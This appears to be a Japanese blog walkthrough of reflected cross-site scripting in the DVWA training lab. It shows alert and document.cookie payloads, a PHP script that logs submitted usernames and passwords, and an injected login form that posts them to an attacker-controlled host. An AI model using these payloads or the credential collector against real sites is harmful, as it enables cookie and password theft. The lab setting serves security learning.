クロスサイト・スクリプティング (XSS) 反射型

安全なウェブサイトの作り方:IPA 独立行政法人 情報処理推進機構
P.22「1.5 クロスサイト・スクリプティング」参照

 検索のキーワードの表示画面や個人情報登録時の確認画面、掲示板、ウェブのログ統計画面等、利用者からの入力内容や HTTP ヘッダの情報を処理し、ウェブページとして出力するものがあります。ここで、ウェブページへの出力処理に問題がある場合、そのウェブページにスクリプト等を埋め込まれてしまいます。

 

クロスサイトスクリプティング - Wikipedia

 反射型(Reflected)XSSでは、攻撃者は不正なデータDをWebページPのURLなどに仕込んでおり、Dが原因でWebアプリケーションが作るPのhtml本文などに悪意のあるスクリプトが含まれる。被害者がWebページPのURLをクリックすると、Pの内容とともに悪意のあるスクリプトが被害者のブラウザに送信され、ブラウザ上で悪意のあるスクリプトが実行される事で被害が生じる。したがって攻撃者が反射型XSS脆弱性を利用するには、被害者をPに誘導する方法を別途考える必要がある。
 反射型XSSにおいて攻撃者が被害者をWebページPに誘導する方法は主に2つある[11]。第一の方法は、標的サイトとは別のWebサイト(公開掲示板や攻撃者自身のWebサイトなど)にPのURLを張り、被害者がPへのリンクをクリックするのを待つ方法である。第二の方法は標的サイトを装って被害者にメールし、そのメール本文にPのURLを記載することで、被害者がPを閲覧するのを期待する方法である。

DVWA にログインする

  • Security level = low を確認する
  • 左欄から「XSS reflected」を選び Vulnerability: Reflected Cross Site Scripting のページに移る

What's your name? とあるので、適当に入力し Submit を押してみる

f:id:hirose-test:20191022212058j:plain

次に、スクリプトを含んだ文字列を入力してみる。

<script>alert('XSS')</script>

window.alert - Web API | MDN

f:id:hirose-test:20191022212534j:plain

クロスサイト・スクリプティングが発生する。

次に、Cookie を表示させてみる。Cookie はウェブページなどでブラウザに情報を保存するための仕組みの一つ。ログイン状態を示す情報を保存したり、サイトの機能に対する設定を保存するなど様々な使い方をされている。

<script>alert(document.cookie)</script>

Document.cookie - Web API | MDN

f:id:hirose-test:20191022213911j:plain

Cookie が取得された。

フィッシングサイトを構築してユーザーIDとパスワードの取得を試みる

1.Kali Linux 上にフィッシングサイトを構築する

root@kali:~# cd /var/www/html/  
root@kali:/var/www/html# vim phishing.php
<?php
$login=$_POST['username'];
$password=$_POST['password'];
$open=fopen('log.html','a+');
fputs($open,'Login:'.$login.'<br>'.'Password:'.$password.'<br>');
?>
root@kali:/var/www/html# ls
index.html  index.nginx-debian.html  phishing.php  shell.html

2.上記サイトで取得したユーザーIDとパスワードを保存するログサイトを作成する。

権限を変更して、Apacheの再起動。

root@kali:/var/www/html# touch log.html
root@kali:/var/www/html# chmod 666 log.html 
root@kali:/var/www/html# service apache2 restart

3.クロスサイト・スクリプティングを利用して、フィッシングサイトにユーザーIDとパスワードを送信するフォームデータを作成する。

<form action="http://192.168.56.108/phishing.php" method="post">
Username:<input type="text" name="username"/><br/>
Password:<input type="password" name="password"/><br/>
<input type="submit" value="Submit"/>

XSSフォームの入力欄に張り付けて、Submit。(うまくいかない場合などは、ページを再度開き直してから試してみてください)
ユーザーネームとパスワードの入力を促されるので、適当に入力して Submit。

f:id:hirose-test:20191022221343j:plain

f:id:hirose-test:20191022221813j:plain

入力したユーザーIDとパスワードがフィッシングサイトに送信されたか確認する。

f:id:hirose-test:20191022221826j:plain

保存されている。

/* -----codeの行番号----- */